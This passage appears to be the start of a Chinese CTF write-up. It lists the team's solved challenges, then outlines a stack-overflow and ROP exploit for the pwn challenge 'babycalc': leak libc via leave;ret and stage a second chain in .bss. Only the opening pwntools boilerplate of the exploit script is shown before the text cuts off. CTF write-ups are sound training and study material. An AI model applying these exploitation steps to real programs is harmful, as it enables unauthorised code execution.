Part1排名 和 解题一览
Pwn:babycalc,Message Board
Web:real_ez_node,扭转乾坤,unusual php,Node Magical
Reverse: BabyRE
Misc:签到题,mp3,机你太美,take_the_zip_easy
Part2PWN
1babycalc
angr先跑个key出来
利用溢出控制i然后修改返回地址,因为没有覆盖rbp所以将返回地址改成leave ret,一定概率上可以让程序执行流返回到输入的某个位置,在缓冲区内布置泄露libc、读新rop链到bss段上、修改rbp和leave ret的rop链即可。
from pwn import *
from ctypes import *
import struct
#context.log_level = 'debug'
#io=process(["./qemu-arm-static", "-g", "1234", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io=process(["qemu-arm", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io = process('./pwn')
#io=gdb.debug('./pwn','b*0x4013ba')
context.arch='amd64'
elf=ELF('./pwn')
#io = remote('tcp.cloud.dasctf.com', 21963)
libc = ELF('./libc-2.23.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info(' 33[1;31;40m %s --> 0x%x